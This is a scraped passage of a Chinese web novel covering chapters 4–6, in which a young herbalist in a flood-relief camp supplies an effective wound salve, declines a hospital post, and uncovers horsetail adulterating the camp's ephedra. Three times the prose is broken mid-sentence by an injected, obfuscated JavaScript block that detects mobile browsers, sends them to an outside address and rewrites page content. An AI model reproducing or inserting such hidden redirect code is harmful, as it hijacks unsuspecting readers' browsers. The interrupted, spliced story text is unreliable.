冯院长:…… 看样子,池晚工作的事可能没给安排上。 不知道副院长那边到底是什么情况,刚才都来了,又带着那个小年轻跑了,怎么瞧着鬼鬼祟祟的呢? 这时那位药师已经把药配好了,池晚看了下份量,也猜到了冯院长的意图,估计是想先少量试试。毕竟药材有限,不能浪费。 副院长回来的时候,池晚刚回到自己所在的帐篷。 冯院长正吩咐药师熬药,看到副院长进来,他压着脾气,说:“怎么回事,刚才那人呢?” “没谁,一个小年轻,问我点事。” “那个,冯院长,您让调的药材我都备好了,早的话,明天下午能到,最迟后天能送过来。” 冯院长点头:“让你招的人招了吗?招的是谁?” 正题来了,副院长还没摸透冯院长与池晚的关系,这时候只能硬着头皮说:“是,是下泉水大队的洪春波,那小伙人机灵好学,长得也周正。” “池大夫的孩子,我也看过她,我觉得这孩子情绪可能不太稳。我怕以后工作起来,跟病人或者家属出现冲突,就选了洪春波。” 是这样吗?冯院长眯着眼睛瞧着他,凭直觉他感到这里边有事。 “洪春波是下泉水村大队长儿子吧?”冯院长问道。 “啊……是,是他,这孩子上过高中,学习不错的。在乡下像他这样有文化的可不多见,我觉得可以让他试试。” 对此,冯院长不置可否。他没见过洪春波,不打算现在就下什么结论。 他原本也没有答应说要把工作给池晚,只说重点关注。所以,副院长就算选了别人,他也不好说什么。 但那个洪春波最好跟副院长说得八/九不离十,要真差太远,对谁都不好交代。 医院这种地方,技术太差是要闯大祸的,到时候坑的可能就不只是洪春波一个人,搞不好还得拉上他这个院长。 所以冯院长打算先观望一番。 洪春波被副院长推出帐篷,气得一边走一边踢着路上的石头。 这时天都黑了,只是没黑透,离得稍近一点,才能看清人大致的轮廓。 梁含璋和小田又救回来两个人,是一对父子,这一趟回来,俩人都已精疲力尽,浑身上下都湿透了,只想找个地方趴一会儿,放空大脑,只管睡觉。 有老乡在岸边迎着,俩人一靠岸,老乡就搀着那对父子往帐篷方向走。 小田搭着梁含璋手臂,准备回去了试试新出的伤药。他腹部被树枝刮了大口子,也出了血,挺疼的,如果药弄好了,他想先试试,至少可以替梁含璋做下试验。 他一直跟梁含璋在一起组队,所以他最清楚梁含璋的伤在恶化,已经有了化脓的迹象。 两人放好船,准备进帐篷缓一缓,走到半路时,一枚石子正正砸到小田额头上,砸得他脑门生疼。 大晚上不干正事,哪个讨厌鬼在外边乱晃乱踢啊? 想到这儿,小田怒从心头起,打开手电对面照过去。 “是哪个在乱踢,我倒要看看到底是谁?” 4. 大灾,大疫 他要订药 “哎哎,你们谁啊,乱照什么?”洪春波用袖子挡着脸,往后退了两步。 手电照到洪春波身上,看清他那一刻,梁含璋和小田都起了疑心。 这个人身上衣服太干净了,三七开的头发梳得一丝不苟,既不像是受灾群众,也不像是来救灾的老乡。 这么晚他出现在安置点,还一个人在外边乱晃,不问清楚,谁知道他是怎么回事? 小田觉悟很高,担心这个人是敌特分子。 洪春波也带了手电,小田用手电往他身上照的时候,他也照向小田和梁含璋。 看清对方身上穿的衣服,洪春波吓了一跳,恨不得把自己刚才怼出去的话收回来。 这两个人分明是部队上的人,哪是他能随便得罪的? 他爸要是知道他在这儿说话冲动得罪了人,肯定得拿荆条子抽他。 洪春波打算给自己找个台阶,向眼前这两位示好,但小田明显没这个意思。 “跟我们走一趟,交代下你是什么身份,说清楚了再放你走。” 说罢,小田毫不犹豫地扯着洪春波胳膊往前走,洪春波想挣扎又不敢用力,几分钟后就被小田带进了一个帐篷。 他们进来时,冯院长和公社的邹副书记也在。除了他们俩,还有两个中年男人。 梁含璋认识他们,这次鹿鸣公社有三个大队受灾严重,这两个中年男人都是受灾村子里的大队长。 后半夜洪水刚涌进村子,他们就开始组织村民往山上撤,还让人拿着锣到处敲,就怕有些人睡得沉还不知道情况。 所以,那两个大队被淹在洪水里的群众相对较少,大多数人都及时躲到了山上,也减轻了救灾部队的压力。 受灾最严重的就是下泉水大队,但从上午到现在,梁含璋也没看到下泉水大队长出现在救灾现场或者安置点。 看到洪春波被小田押进来,邹副书记惊讶地站起来;“这人怎么回事?” “不清楚,我刚才上岸时碰到此人,因为形迹可疑,把他带过来问问情况。” 洪春波曾幻想过,能像他爸一样经常去公社开会,还有机会跟公社的领导们打好交道。 他唯独没想过,他跟公社邹副书记第一次见面是在这种场合。 “是误会,这两位同志真的误会我了,我不是坏人。”洪春波抓紧时间为自己叫冤。 他想为自己开脱,但又不想得罪这两个当兵的,所以他把这件事定性为误会。 “说吧,叫什么名,哪个大队的,家里都有什么人?”梁含璋直入主题,并不想去听无关紧要的话。 “我是下泉水大队的,姓洪,洪春波。” 其实,另外两个大队长已经认出了洪春波,但他俩都没有帮洪春波说什么话。 作为大队长,这俩人从半夜就开始忙,在水里来来回回不知折腾多少回,又操心又卖力,累得都快瘫了。 洪春波他爸却像个甩手掌柜一样,大概是仗着自家上头有人,村里出了这么大的事,他到这时候还没来。对比之下,他们俩难免心生不满,也就懒得帮洪春波说什么话。 冯院长本来要喝水,突然听到这个名字,他怔了下,旋即放下水杯,仔仔细细地看了看洪春波。 原来下泉水大队长儿子就是他。刚刚副院长曾带了一个年轻人过来,看身形,分明就是这个人嘛。 也就是说,刚才副院长想带着洪春波去放置药品的帐篷,但当时他和池晚都在,副院长都把人带到帐篷门口了,又把人赶走了,还跟他说没谁。 搞什么嘛? 冯院长瞧了眼仍在解释的洪春波,随后告诉梁含璋:“确实有这么个人,我让人去把我们医院副院长叫来,他知道此人身份。” 梁含璋同意了,等着副院长的当口,他又问洪春波:“这么晚了,你一个人独自在外面乱晃什么?” “我…我那是迷路了。” 副院长来得很快,他社会经验远超洪春波,进来后赶紧向在场的人解释:“他就是洪春波,他说想帮着大伙干点活,白天他离得远,过不来,刚好我出去调药材,跟他碰上了,顺便就把他带了过来。” “春波同志挺有社会责任感的,听说他们大队有不少人受灾了,他说什么都得过来一趟。他年轻,力气大,还懂点医术,在这儿干别的不行,打打下手肯定没问题。我觉得他这个想法很好,值得支持,所以今天办事回来我碰到他之后,就把他带来了。” 那两个受灾村落的大队长听完这番话,一个暗暗撇嘴,另一个仰头翻了个白眼,脑子里自动把这些冠冕堂皇的归类为瞎扯蛋。 冯院长不了解洪家人,他想看看这个洪春波到底怎么样,就道:“身份看来没问题了,但是以后得注意,不要一个人在安置点乱窜。” 邹副书记也说:“你们先出去吧,我们还有事要商量。” 副院长现在也不想在这儿多待,赶紧带着洪春波往帐篷外走,他怕洪春波冒失,再惹出什么麻烦来,打算稍后叮嘱他几句。 有副院长做证,梁含璋没再多说,转而问邹副书记:“统计表做出来了没有?” “做出来了,你看看。”邹副书记说罢,把傍晚让人赶出来的几张表格递给梁含璋:“梁团长,情况都在这上面了。” “下泉水大队受灾群众的情况最为严重,另外两个大队的情况要好许多。” “这两个大队从凌晨前就开始有序组织村民往山上撤退,我刚才跟两位大队长核对了一下,两大队上山群众计696名,未能上山的合计64名,19人目前不在村里,剩余受灾群众为45人。” “目前成功获救的有21人,另有14人靠自己逃了出来,所以,这两个大队目前失联的尚有10人,五男五女……” 邹副书记一边说一边指着表格上的内容,向梁含璋解释着。 梁含璋看着表格上失联的十个人,一个是幼童。剩余九名是各年龄段都有。 他们不想离家,也不相信洪水会把他们的家淹了,谁劝也不听。大队长只能保证大多数人的安全,实在管不了个别人,所以房子被淹的时候,他们还在自家留守。 现在时间这么久了,这些人可能已凶多吉少。 不管怎样,遇到这么突然的洪水,这两个大队所取得的救灾成绩还是很不错的,至少比他预计得要好。 看完这两张表格,他朝那两位大队长点了点头,说:“两位队长救灾活动组织得不错。” 邹副书记也赞许地道:“是不错,这件事我会向上级反映的。” 意外得到夸奖,两位大队长黑红的脸都现出几分不好意思来。他们的努力能被人看在眼里,心里自然是开心的。 洪春波本来都要跟着鹿鸣公社医院副院长离开帐篷了,听到这番话,他心里多少有几分慌。 不过他心里的慌乱很快就退了下去,他爸在村里当了十年大队长,什么事儿没碰过?他爸都不慌,他觉得他没必要慌。 这时梁含璋拿起下泉水大队的统计表,看了一眼,他的眉头就微微皱起来。 下泉水的情况真的挺糟,那个村子距离安置点相对较远,来回运送灾民本就不易,偏偏那个大队的领导到现在为止只有治保主任出现,连个主事的人都没有。 目前他们救的人大都是下泉水大队的,到这时已救回来126人,至于这个大队有多少人上山躲避,没人能知道确切数字。只有一些被救的群众反映,看到谁谁谁往山上去了。 这种情况,让他很难确定洪水中还有多少下泉水大队里的人等待营救。 能征调的船只有限,现在他们手头只有十十五条船和十艘皮划艇,这个数字看起来不少,但分配到三个大队,每个大队能分到的就不多了。 现在只能庆幸,另外两个大队长办事给力,这样他就能把主要精力放到下泉水大队这边。 看着这张表,邹副书记心生不满,他倒想看看,洪春波他爸来了之后要如何解释这件事。 别说是他,就算是公社书记还有区里的领导,恐怕也需要一个解释。 这时冯院长递给梁含璋一塑料瓶膏药:“梁团长,这盒膏药有八位小战士已经用了,这还有点,你拿着,用不用你自己决定。” 梁含璋道了声谢,把药膏揣到兜里。 “梁团长,你赶紧去休息吧,再这样下去人会熬坏的。”邹副书记看出来梁含璋面上有疲态,便催他去旁边的帐篷里去休息。 梁含璋没有推辞,和小田两个人拿着冯院长刚做好的膏药回了他们休息的帐篷。 这个帐篷地上同样铺着木板和稻草,此时帐篷里已响起一片鼾声,年轻的战士们挨挨挤挤地躺在稻草上,睡得很沉。 梁含璋事先就安排好了轮班,这一批战士吃饭休息时,会把船只交给下一批同志,让那些人继续搜寻受灾群众。 他拿毛巾简单擦了擦,没有换衣服,和衣坐在稻草上,打开瓶盖,从瓶子里挖出一坨黑糊糊的膏药,抹在肿胀泛白且有点化脓的伤口上。 那伤口长达七八厘米,是被一根木头上的铁钉刮出来的。 “团长,有感觉没?”小田坐在梁含璋旁边,好奇地瞧着临时做出来的膏药。 “抹上去凉丝丝的,好不好还不知道。”梁含璋把那盒膏药递给小田,自己则用手指把那些药在伤口周围推匀,还慢慢按揉,以便让药物得到更好的吸收。 小田本来还想帮梁含璋试药的,现在看来不用了。 他依样化葫芦地把药抹在左下腹伤口处,抹上不到一分钟,他就“咝咝”抽了口气,说:“真是凉丝丝的,好像没那么难受了。” 梁含璋没说什么,他脑子里有事,一时睡不着。 帐篷里比较黑,朦朦胧胧中能看到有人从帐篷外经过。 近二十年来,鹿鸣公社周边有好几次曾下过这种规模的暴雨,但都没有发生过这种大规模的洪涝。 这次洪涝,是因为鹿鸣公社上游的汝河决堤,淹没了周边公社的一些村落。 团里的方政委这时正组织人手在加固堤坝,想办法堵住缺口。现在暴雨暂时停下,如果能及时堵住缺口,这边的水用不了多久就能退下去。 原计划由他带队去决堤处堵缺口,但方政委死活没让他去,理由就一个,那里更危险。还说他梁含璋二十七了,年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829783|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前刚受过伤,还是个光棍,连个后代都没有,万一膈屁了或者伤到了根子,方政委没办法跟梁家人交代。 方政委平时说话温声细语,轻易不会说这种糙话。这次这么说,不过是为了抢任务而已。 他在这边还能在稻草上躺着睡几个点,老方他们要休息,就只能在泥地上随便找个地方趴会,根本没安置点这个条件…… 梁含璋醒来的时候,是凌晨三点。他看了下表,又推醒了身边的小田。 “咦,伤口都干巴了,不肿也不疼了。”小田还记着头天晚上抹药的事,起身后第一件事就是掀起背心,看向左下腹那道口子。 梁含璋瞧了一眼,发现小田说得并不夸张,那伤口真的不肿了。 他们才睡了几个小时,这个效果真的很明显。 这时小田已掀开他裤腿,往他小腿伤口处瞧了一眼,说:“团长,你看看你的,也不肿了,不信你自己看看。” 梁含璋抬起脚,果然如此,不仅不肿,他也感觉不到疼痛了,只是痒痒地,让人想伸手去抓挠。 下泉水那姑娘提供的药方还真不错,她一点都没夸大其辞,这个药确实不错。 想到团里经常有人受伤,梁含璋考虑着,等稍后有时间了,可以去找她谈谈,以团队名义委托她定制一批膏药,这样有战士受伤了,可以及时得到救治。 他也听说,那姑娘父亲失踪,家里情况好像不太好,如果能有这个卖膏药的机会,她手头应该就不会那么紧了。 他还要急于出发搜寻受灾群众,所以他清点了一下人数,向手下了解了最新进展,就重新带着小田划船往下泉水大队的方向走。 池晚这一夜睡得并不安稳,因为帐篷里有两个妇女一直没睡。 其中一个人的孩子还在失联状态,她一直在流眼泪,偶尔还会抽泣一会儿。这还是顾忌着帐篷里有别的灾民,要是没有别人,她只怕早已嚎淘大哭了。 另一个人心疼这些年攒下的家当,也睡不着,不时哀声叹气一声。 池晚翻了好几个身,直熬到半夜,实在困了,才睡过去。 早上醒来的时候,她感觉浑身上下的肌肉都酸疼无比,动一下疼一下。大概是因为昨天跟洪水较劲,累得狠了。 安置点距离上泉水大队几百米远,这里所用的水源全都是从上泉水大队村民家井里运过来的。 池晚出来时,有几位上泉水的妇女肩上担着两桶水,正一晃一晃地往安置点这边来。他们都是自发过来照顾受灾村民的,不仅不要任何好处,还把家里能捐的能拿的都拿来了。 挑水也是需要一点技术的,池晚现在没力气,就算有力气,冷不丁上前,她也只能帮倒忙,说不定还会把水桶里的水给弄翻了。 所以她没有逞能,客气地跟那几个人打招呼,便主动去了做饭的地方打算找点活干。 上泉水的李翠香挺心疼她的,觉得这姑娘可怜,什么事都摊上了。看到池晚过来,她用手里的拨火棍拨了拨柴火,随后回头对池晚说:“丫头,你怎么没多睡一会儿?饭好了再起来就成。” “不用不用,我睡够了。我过来看看,姐你能不能帮我找点活干,大家都这么忙,我哪能老闲着。” 池晚自认自己不是什么老弱病残,不可能张着嘴在这儿等吃现成饭。别人不求回报的来帮忙,她这个灾民也得做点什么。 “那,你过来帮着烧火吧,这锅里是杂粮粥,大火烧开后,再用小火烧几分钟就熄火。锅盖别揭,等我拌完咸菜过来看看再揭。” 李翠香说完,风风火火拿菜板去切咸菜,这些咸菜都是附近村民凑的,有雪里蕼,有芥菜头,也有腌萝卜和酱八宝…… 李翠香完全没考虑过池晚会不会烧火的事,农村出身的小姑娘,就算家里再惯着,烧火洗碗总得会吧? 好在池晚小时候在乡下亲戚家里烧过火,知道怎么烧。刚开始技术虽然有点生疏,几分钟过后就知道怎么控制火候了。 整个上午,池晚都在安置点里忙碌,一直没闲着。快到中午时,李翠香把她叫到帐篷旁边,悄悄从兜里拿出一个比乒乓球大一点的西红柿,塞到她手里,小声说:“今年雨水大,地里的洋柿子差不多都烂了,就剩几个还能吃的,给你一个。” “趁着这边没人,你赶紧吃了。” 池晚接收到了她的善意,面上堆起笑意,眉眼弯弯,接过西红柿咬了一口。 种在大地里的柿子真好吃啊,她已经有很久没吃到过滋味如此浓郁的西红柿了。 她几口吃完,抹抹嘴,笑着说:“翠香姐,谢谢你。” “哎,谢什么。你过来我跟你说,我刚才看到你们大队那个洪春波了,他在那边帮忙搬药呢。” “你要是烦他,就别往那边去,省得看到他闹心。” 池晚正想说她不在意,就在这时,冯院长出现在这边,正东张西望着,好像是在找人。 看到池晚时,公社医院冯院长赶紧朝她招手,面上还带着几分喜色。 “池晚,你过来,我跟你说点事。” 李翠香很会看人脸色,她赶紧推了池晚一把,说:“快去吧,可能有好事。” 5. 大灾,大疫 惊现节节草 梁含璋中午回来时,在半路上看到了池晚。 她穿的衣服比较肥,一看就是别人给她找的。但她腰板挺得比较直,并没有什么自卑的表现。 她跟在冯院长身后,看方向,他们去的地方是为区医院的人准备的帐篷。 区医院的人才到半个小时,他们组织了一支十人小队,还带了一批药材和西药。 池晚进去时,区医院那些人正在给灾民做常规体检。 “乖,别动。”一位中年男大夫正用听诊器给妞妞做检查。 看到他们进来,一位戴着眼镜的男人笑着迎上前,他手里拿着的就是那盒药膏。 “小姑娘,你就是池映川的女儿?” “对,我是,请问您是……”池晚感觉这个人应该认识原主父亲池映川,她也想打听一些关于池映川的事。 “我是区医院中医科主任,姓黄,我跟你爸挺熟的,他来区里办事,有空就会去找我,还到我家里吃过饭。” 他说的话听起来像真的,但池晚不认识此人,不会仅凭他这几句话就信了这些。 “哦,那您知不知道我爸他最近的消息,他有没有跟您说过,他会去哪里?” 黄主任为难地摇摇头:“公安来人找过我,问过这事。说起来,你爸半年前喝酒时还真给我提过,好像说想抽空去一趟东北,好像是去沈城吧?至于要去干什么,他没说。” 东北?池晚隐约有印象,池映川似乎真提过。 这时代,东北是全国最发达的地区,很多省份的人都想去那边工作、生活,还出了一个专门的词,叫“闯关东。” 池晚曾在东北生活过几年,对于那里的气候和风土人情都比较熟悉。 黄主任安慰她:“你也别太担心,我感觉你爸不会有事。他多机灵啊,谁出事他都不容易出事。可能是有什么情况,走得急,没来得及跟家里说。” 他又晃了晃手上的药瓶,说:“你爸怎么没跟我说过他还有这种好药?这家伙,还藏着掖着的。” 那瓶药是头天剩的,早上有几个战士曾向冯院长反映过,这种伤药效果特别快,几个小时伤口就有愈合倾向,不肿不痛了。 所以冯院长一大早就吩咐人赶紧再赶制一批,免得急用时没有。 这药是池晚自己琢磨出来的,跟池映川没什么关系。但这种事她没办法跟黄主任和其他人解释,也就默认了。 冯院长在旁边解释道:“大夫都有自己的绝活和秘方,这不是很正常嘛?都给别人学去了,还怎么吃饭?” “今天小池能把这个药方拿出来,是为了救灾的官兵和乡亲们考量,怕他们伤势加重,这是大义。” 池晚听了,赶紧摆手说:“冯院长,来这儿义务帮忙的人这么多,出钱出力出物资的都有,我只不过是其中微不足道的一分子。您可别再给我戴高帽,我当不起。” “哈哈,不说了。是这样,黄主任说,这个药方的效果他还要观察一下。” “我们公社医院进的第二批药材到了,我刚才去找你,是想带你去看看药。黄主任说他跟你爸熟 ,我就带你来看看他。现在没别的事了,咱们走吧。” 帐篷里有几个大夫,都听到了黄主任和池晚的话。但他们都忙,只抬头瞧了瞧池晚,就收回了视线。 至于那个药方,他们只当那是池大夫留下的,谁也没想到这方子是池晚自己琢磨出来的。 两个人出了帐篷,走到没人的地方,冯院长突然跟池晚说:“你工作的事,我也是才知道。之前你爸找我谈过这事,他的医术我是知道的,你一直跟在他身边,就算不能独立看病,水平也比普通人强,原则上我更属意你。” “这份工作,手续还没办完,想改还是可以的。如果有这个机会的话,你还愿意来公社医院上班吗?” 冯院长起了惜才之心,又觉得这孩子挺难的,想帮她一把。 另一个原因是,他对洪春波印象实在算不得好。头天晚上就算了,今天上午洪春波帮着干活,看似手脚挺麻利,但冯院长观察了一下,发现洪春波不够细心,粗手粗脚的,对于一些样子相似的药材有时候也分辨不出来。 这样的人放到公社医院,要是能认真跟着师傅学,也能学出个样子。 但以他的直觉,洪春波不大像是个能沉得下心来的人。他跟洪春波他爸又不熟,也不欠这个人的人情,当然没必要卖洪家的面子,所以他不想要洪春波。 没想到,池晚居然摇了摇头:“最近家里出了好多事,父亲联系不上,家也被洪水冲没了。我现在还没考虑好接下来该怎么办,公社医院那边我要是去了,我不知道能干多久。” 冯院长怔了下,这个工作机会不知道多少人想要,池晚这是心里不舒服还是真不想要这个工作? 他不想现在就把话说死,于是他说:“叔看得出,你是个有主意的人。这样吧,我再给你几天时间考虑,你要是改主意了,再来找我。” “如果你那边有合适人选就先让别人去,等这边安顿下来,我爸要是还没消息的话,我也许会去东北找他。” 这…… 池晚这番话让冯院长大为惊诧,这是不是太难了? 东北是个好地方,很多人都想去。如果说她想去东北发展,那他绝对支持。但要说去找人,那可太远了。 东北那么大,找一个人,那不像大海捞针一样吗? 不过池晚话语里的意思很坚决,他便没再多说什么,只道:“那行,先不说这个,先去看药。” 新运过来的药也放在先前那个帐篷里,此时帐篷里有三个人在,一个是先前那位年轻药师,另一个人池晚不认识。 还有一个是洪春波,池晚看到他时,他刚从肩上卸下一袋子药,重重地放到地上。 “哎,你轻点,这里边是百部,你别给砸碎了。”药师瞧了他一眼,话语里已有几分不满。 百部?池晚看了眼那个袋子,那一袋子药大概有二十斤左右。 她真的挺想用百部煮水洗头再洗洗衣服的,因为百部能杀虫。 头天晚上妞妞来找她玩的时候,池晚意外发现,妞妞头上有几个虱子在爬来爬去。 看清的时候,她下意识想蹦到一边去。 这种东西,她从小就没见过,只听老人提过两回,还见过老人当年用过的篦子。那种篦子梳齿极为细密,可以把头上虱子和其白色幼虫给刮掉。 这事她只是想了想,并没有说出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829784|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 现在安置点用水都要一桶一桶的挑过来,用水很麻烦的。因为连日暴雨,烧火的柴火也不太够,药材也是紧俏物品,她哪好意思提出这种要求? 所以,这事儿她只是想了想就作罢了。 注意到她的眼神,冯院长问她:“怎么了?这百部没什么不对劲吧?” “这个还行。”池晚弯腰拿起一根带有棱角的百部,观察了一下,又放了回去。 药材质量的事,冯院长特意叮嘱过副院长,这批药材是为安置点灾民和官兵用的,要是出了问题,会闹出极不好的影响。所以他让副院长把好关,千万不要出岔子。 药师也在检查药材,看到冯院长和池晚进来,他赶紧往旁边让了让,说:“冯院长,小池同志,你们也看看吧。” 他听过冯院长和池晚说话,知道冯院长对这个女孩印象很不错,而且这女孩提供的伤药已经收到了不俗的效果,所以他面对池晚时很客气。 洪春波一个人站在帐篷角落,眼神落在池晚和冯院长身上,心里有些不安。 很明显,冯院长跟池晚关系很好,他们俩谈话时言笑晏晏,衬得他像个干活的仆人一样。想到这儿,洪春波心里又生出几分不忿。 他爸是大队长,村里很多事都归他爸管,连村民外出开介绍信都得经过他爸这道关,平时谁敢得罪他们家人啊? 此时池晚这个孤女竟一次又一次让他没面子,哪怕她不是故意针对他,这也让他极为不爽。 这时池晚已观察了十几种药材,刚开始她表情还挺正常,到后来,她表情已有几分凝重,直到她看到那一袋子的麻黄,面色就开始转冷。 冯院长刚才也往那边瞧了瞧,青色的麻黄,跟平时用的看着没什么区别,他还抓了一把,确实没问题。 “怎么了?”他走过来,看着池晚伸手掏到袋子中间,手伸出来时,手上已抓了一把草药。 她把这些药摊在掌心,拿起几段看了看,又缓缓呼出几口气。 “你看看吧,这袋子麻黄里应该还掺了别的东西。”池晚肯定地说。 什么?麻黄出问题了? 冯院长心头一惊,别的药或许还好说,但这个关头,麻黄可绝对不能出问题啊。一旦有疫病出现,很多相关药方都要用到麻黄这味药。 麻黄汤,葛根汤,还有大青龙汤、小青龙汤以及麻杏甘石汤等等…… 他没说话,像池晚一样,将手伸进袋子中间,从里面掏出一把药材。 粗看上去,形状与麻黄是一样的。 “怎么掺了不少空心的?”冯院长面上已现出几分恼怒。 那位药师刚刚已检查过麻黄,还在上面抓了几把查看,没看出什么问题。 他这时赶紧过来,从冯院长手上拿起几根,这时他也看清楚了。 “是节节草!”药师面色微变,已认出了眼前的植物。 池晚微微点头,这些麻黄里确实掺了节节草。节节草也是药材,并不比麻黄便宜多少。但二者功效根本不一样,如果把节节草误用为麻黄,搞不好会出大事的。 冯院长和药师自然都清楚这一点,帐篷里这四个人中,只有洪春波一个人面现一脸茫然。 节节草,那是什么东西? 6. 大灾,大疫 大队长瘸了 “别的药材有异常吗?”冯院长觉得池晚眼力很好,他也认可她辨药的能力,所以想问问她还有没有什么别的发现。 “暂时没看到,当归混了些当归尾,党参个头稍小一点,不过这两种药材都不是目前急需的。其他还可以,只有这个麻黄问题很大。” 冯院长也检查了不少,同样没看出问题。至于品质,除了个别品种,其他的跟平时差不多。 看着那袋子麻黄与节节草的混合物,冯院长有些疑惑:“节节草价格不稳定,目前它的价格与麻黄差距不大。麻黄不贵,在这里边掺点节节草,如果说是为了赚差价,这也谈不上啊?” 池晚也想到了这一点,一般容易出现假药的都是那种价格比较贵的品种,便宜药材就算以假充真,其获利空间也不大,实在不值当。 想了下,池晚说:“要说是不小心放进去的,可能性不太大,或许有人故意把节节草放到里边,以冒充麻黄。你刚才也看到了,袋子上方几乎都是麻黄,只有少量空心的节节草。中间往下节节草就比较多。” 确实像是有意为之,冯院长也有这种感觉。 这样一想,这件事背后的动机就耐人寻味了,如果说不是为了图差价,那是为什么? 想到麻黄的应用范围,冯院长忍不住猜测,会不会有人想借着这个机会给安置点制造点混乱呢? 如果是这样,那这件事的性质就要比单纯的赚差价要严重多了。 洪春波不清楚节节草是什么东西,但他多少还有一点脑子,这时也听出来了,这袋子麻黄不对,里面掺了别的东西。 想到那些药是他帮忙扛进来的,他怕冯院长和其他人把掺假的锅甩到他身上,想到这儿,他马上凑上前,说:“冯,冯院长,我拿进来的时候,袋子都是封着口的,我什么都不知道,这事儿真跟我没关系。” 冯院长正在想事,他打算尽快跟主持救灾的邹副书记和梁含璋沟通下。掺假的人需要尽快找到,这事靠他一个人恐怕不行。 洪春波在这时候开口为自己开脱,正好打断了他的思路。 冯院长心中不快,虽未发脾气,心里对于洪春波的看法却又差了几分。 在他看来,像洪春波这样的人,若是到了战争年代,敌人一旦逼近,这小子可能是最快投降的,甚至会去当汉奸。 想到这一点,他就更不愿意让洪春波去公社医院上班了。一旦出了事,这个人肯定跑得比谁都快,根本没有担责的魄力和责任感。 “没说是你。”洪院长瞥了他一眼,随后淡淡收回视线。 “小罗,你在这儿守着,闲杂人等一律不让进,如果看到可疑人员,要尽快上报。”冯院长交待完,让洪春波先出去,不要再进入这里。等洪春波走了,他和池晚也从帐篷里出来。 经过区医院那个帐篷时,帐篷外还有受灾群众在排队接受检查。 “姐姐……”看到池晚过来,妞妞从她妈妈怀里探出头来,伸出细瘦的小手朝她这边晃了晃。 “乖,跟你妈妈进去,快到你了。”池晚在她脸上捏了捏,看着妞妞跟着她妈妈进了帐篷。 冯院长瞧见了,说:“你还挺招小孩喜欢的。” “可能吧。”以前的池晚确实挺招小孩喜欢,不仅小孩,连猫狗也爱跟她亲近。 走到半路,池晚注意到,平地中间已经支起一个熬药的大铁锅,锅子下边正烧着木柴,旁边还有劈好的柴禾垛。 她走到锅边,看了看锅里逐渐沸腾的汤药,吸了吸鼻子,又看向锅中浮在水面上的药材,想分辨一下大概都是什么成分。 有位小护士端着一托盘药从这边经过,看到她靠近煮药的大铁锅,马上板着脸说:“哎,你离这边远点,别往里边放不该放的东西。” 说完这句话,她还警告似地瞪了眼池晚,不等池晚说什么,就端着托盘钻进了一个帐篷。 池晚认得,那个帐篷里边待的都是来救灾的官兵。 冯院长听见了,不由得有些气恼,那个小护士不是他们公社医院的,那肯定就是区医院的了。 “什么态度啊?池晚,要不要我去帮你解释一下,再让黄主任说说她?” 池晚摆了下手,说:“没必要,并不是我愿意受这个气,是因为今天情况特殊,当务之急是救灾,还有解决麻黄的事,这些私事先往后放放,如果有机会,再跟黄主任提下。” 至于锅里煮的药,池晚判断应该是麻黄汤加味,在初起阶段,有不少人用着是比较合适的。 对于一些体质特殊的个体,或者与大部分人群发病时间不一致的人,可能就要另外拟方了。 但她觉得,这时候医院里还是以中医为主的,西医在这时并不发达,区医院和公社医院都不缺会看病的大夫,所以这些事先让他们处理就好,她可以帮着救灾人员打打下手。 “你说什么,你们公社医院最近运进来的麻黄出了问题?”听到这个消息,邹书记坐不住了。 “是,现在麻黄与节节草价格差距不大,都不贵,就算换了,也赚不到几个差价。所以我觉得,这件事我们需要好好查一下,看看这些药是从哪儿来的。我已经让人去找我们医院的副院长了,等他到了,我得问问。” 邹副书记搓着手说:“必须得问清楚,看看他这些药都是从哪来儿的,中间都有什么人过了手。” “若是无心之失,把药换掉就好。就怕有人存心使坏,意图破坏咱们抗洪救灾行动。” “最晚明天,区里会派人过来,这个问题我们要争取及时解决,免得到时候上级问起来,事儿都说不清楚。” 两人面色凝重,看样子还有得商量。接下来的事池晚没必要再参与,她把发现节节草的事说明白就走了。 经过一个帐篷,有个小战士竟从帐篷里走出来,又走到池晚面前,递给她一块大白兔奶糖。 看出来池晚挺惊讶的,小战士腼腆地挠了挠后脑勺,说:“你那个伤药很好用,我的伤都好了。喏,就一个,给你尝尝。” 池晚明白了,这个小战士应该也用了伤药,现在应该是好了。 她客气地接过奶糖,并没有马上走。出于职业本能,她想看看小战士伤口。 所以她问道:“你伤哪儿了,我想看看伤口愈合情况,方便吗?” 小战士才十九岁,没有多少跟异性接触的经验,这次跑过来给池晚送奶糖,已是鼓足了勇气。现在听池晚说要看他伤口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829785|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他耳根子都红了。 他倒是想让池晚看看他的伤,但伤口在大腿上,裤子撸不上去。 “这,这里,不太方便。” 